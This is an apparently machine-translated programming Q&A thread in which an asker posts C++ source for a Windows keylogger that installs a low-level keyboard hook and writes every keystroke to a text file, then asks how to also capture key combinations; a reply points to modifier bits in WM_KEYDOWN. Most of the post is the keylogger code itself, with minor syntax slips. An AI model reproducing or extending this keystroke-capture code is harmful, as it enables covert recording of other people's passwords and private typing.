2015-11-03 79 views
-1

我已經做了一些類型的鍵盤記錄器與C代碼:如何製作鍵盤記錄器?

define _WIN32_WINNT 0x0500 
include<fstream> 
include<windows.h> 
using namespace std; 
ofstream out("keys.txt", ios::out); 
LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) { 
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam); 

// si la tecla es presionada 
if (wParam == WM_KEYDOWN) { 
    switch (p->vkCode) { 
     // teclas invisibles 
     case VK_CAPITAL: out << "<CAPLOCK>";  break; 
     case VK_LSHIFT:  out << "<LSHIFT>";  break; 
     case VK_RSHIFT:  out << "<RSHIFT>";  break; 
     case VK_LCONTROL: out << "<LCTRL>";  break; 
     case VK_RCONTROL: out << "<RCTRL>";  break; 
     case VK_LMENU:  out << "<LEFT MENU>"; break; 
     case VK_INSERT:  out << "<INSERT>";  break; 
     case VK_END:  out << "<END>";   break; 
     case VK_PRINT:  out << "<PRINT>";  break; 
     case VK_DELETE:  out << "<DEL>";   break; 
     case VK_LEFT:  out << "<LEFT>";  break; 
     case VK_RIGHT:  out << "<RIGHT>";  break; 
     case VK_UP:   out << "<UP>";   break; 
     case VK_DOWN:  out << "<DOWN>";  break; 
     case VK_BACK:  out << "<BACKSPACE>"; break; 
     case VK_TAB:  out << "<TAB>";   break; 
     case VK_RETURN:  out << "<ENTER>";  break; 
     case VK_PAUSE:  out << "<PAUSE>";  break; 
     case VK_MENU:  out << "<ALT>";   break; 
     case VK_ESCAPE:  out << "<ESC>";   break; 
     case VK_SPACE:  out << "< >";   break; 
     case VK_PRIOR:  out << "<PAGE UP>";  break; 
     case VK_NEXT:  out << "<PAGE DOWN>"; break; 
     case VK_HOME:  out << "<HOME>";  break; 
     case VK_SELECT:  out << "<SELECT>";  break; 
     case VK_EXECUTE: out << "<EXECUTE>";  break; 
     case VK_SNAPSHOT: out << "<SNAPSHOT>"; break; 
     case VK_HELP:  out << "<HELP>";  break; 
     case VK_F1:   out << "<F1>";   break; 
     case VK_F2:   out << "<F2>";   break;  
     case VK_F3:   out << "<F3>";   break; 
     case VK_F4:   out << "<F4>";   break; 
     case VK_F5:   out << "<F5>";   break; 
     case VK_F6:   out << "<F6>";   break; 
     case VK_F7:   out << "<F7>";   break; 
     case VK_F8:   out << "<F8>";   break; 
     case VK_F9:   out << "<F9>";   break; 
     case VK_F10:  out << "<F10>";   break; 
     case VK_F11:  out << "<F11>";   break; 
     case VK_F12:  out << "<F12>";   break; 
     case 93:   out << "<CONTEXT MENU>"; break; 
     //fin de las teclas invisibles 
     default: 
      out << char(tolower(p->vkCode)); 
    } 
} 
return CallNextHookEx(NULL, nCode, wParam, lParam); 
} 
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { 
    // Set windows hook 
    HHOOK keyboardHook = SetWindowsHookEx(
     WH_KEYBOARD_LL, 
     keyboardHookProc, 
     hInstance, 
     0); 
    MessageBox(NULL, "Presione Aceptar para dejar de Registrar.", "Información", MB_OK); 
    out.close(); 
    return 0; 
} 

} 

此代碼只註冊,我已經定義鍵的一堆,但它並沒有捕捉組合鍵,如ALT + E鍵,Shift + 8或「@」符號的ctrl + alt + 2。

我做了一些研究,發現一個叫RegisterHotKey的函數,但是我不知道如何在上面的代碼中使用它。如何修復我的代碼以註冊包括密鑰組合在內的所有密鑰?

回答

3

你不需要RegisterHotKey()。如果你看看documentation for WM_KEYDOWN,你會發現有些位可以指示是否按下Alt,Shift和Ctrl鍵。使用它們。

+0

我知道如何註冊這些密鑰,我只想知道如何註冊多個鍵或組合鍵 –

+0

@AjjandroArenas:看看文檔。每個shift鍵都有一些位。您可以檢查多個位以檢查多個組合。 –

+0

謝謝,我會去看看。 –